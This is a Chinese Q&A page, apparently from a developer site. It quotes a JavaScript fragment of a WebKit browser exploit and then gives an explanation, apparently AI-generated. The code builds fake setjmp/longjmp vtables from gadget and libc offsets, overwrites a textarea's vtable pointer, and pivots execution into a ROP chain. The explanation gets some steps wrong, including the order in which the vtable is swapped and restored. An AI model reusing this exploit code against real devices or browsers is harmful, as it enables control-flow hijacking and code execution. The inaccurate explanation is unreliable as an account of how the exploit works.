var fakeVtable_setjmp = p.malloc32(0x200); var fakeVtable_longjmp = p.malloc32(0x200); var original_context = p.malloc32(0x40); var modified_context = p.malloc32(0x40); p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] p.write8(fakeVtable_setjmp.add32(0x10), original_context); p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] p.write8(fakeVtable_longjmp.add32(0x10), modified_context); p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] function launch_chain(chain) { chain.push(window.gadgets["pop rdi"]); chain.push(original_context); chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); p.write8(textAreaVtPtr, fakeVtable_setjmp); textArea.scrollLeft = 0x0; p.write8(modified_context.add32(0x00), window.gadgets["ret"]); p.write8(modified_context.add32(0x10), chain.stack); p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) p.write8(textAreaVtPtr, fakeVtable_longjmp); textArea.scrollLeft = 0x0; p.write8(textAreaVtPtr, textAreaVtable); }请解释以上代码?
时间: 2024-04-18 15:34:06 浏览: 166
以上代码中定义了一些变量和函数,并实现了一个名为`launch_chain(chain)`的函数。下面对每段代码进行解释:
1. 创建一些变量:
- `fakeVtable_setjmp`:分配了大小为0x200的内存块,用于构建伪造的`setjmp`函数的vtable。
- `fakeVtable_longjmp`:分配了大小为0x200的内存块,用于构建伪造的`longjmp`函数的vtable。
- `original_context`:分配了大小为0x40的内存块,用于保存原始的上下文信息。
- `modified_context`:分配了大小为0x40的内存块,用于保存修改后的上下文信息。
2. 对伪造的`setjmp`和`longjmp`函数的vtable进行填充:
- 设置`fakeVtable_setjmp`的第一个指针指向自身。
- 设置`fakeVtable_setjmp`的第二个指针指向一个gadget,用于构建ROP链中的`setjmp`操作。这个gadget从rdi寄存器中读取一个地址,并跳转到该地址。
- 设置`fakeVtable_setjmp`的第三个指针指向原始上下文的地址。
- 设置`fakeVtable_setjmp`的第四个指针指向真正的`setjmp`函数。
类似地,对`fakeVtable_longjmp`进行填充,但是使用的是针对`longjmp`函数的gadget和地址。
3. `launch_chain(chain)`函数用于执行ROP链。它接受一个`chain`参数,该参数是一个数组,包含了一系列的ROP操作。函数首先将一些指令(gadgets)和地址推入`chain`数组,以便在ROP链中使用。
接下来,函数通过修改`textAreaVtPtr`的值为`fakeVtable_setjmp`,将伪造的`setjmp`函数的vtable应用到`textArea`对象上。然后,通过设置`textArea`的`scrollLeft`属性为0,触发执行伪造的`setjmp`函数。
继续执行时,将修改后的上下文地址和真正的`longjmp`函数地址推入`chain`数组。然后,将`modified_context`中的一些字段进行修改,以准备执行ROP链。
接下来,将`textAreaVtPtr`的值修改回原始的vtable地址,并触发执行伪造的`longjmp`函数。
这样,通过修改对象的vtable和触发特定的函数调用,实现了ROP链的执行,从而达到对目标系统进行特定操作的目的。
阅读全文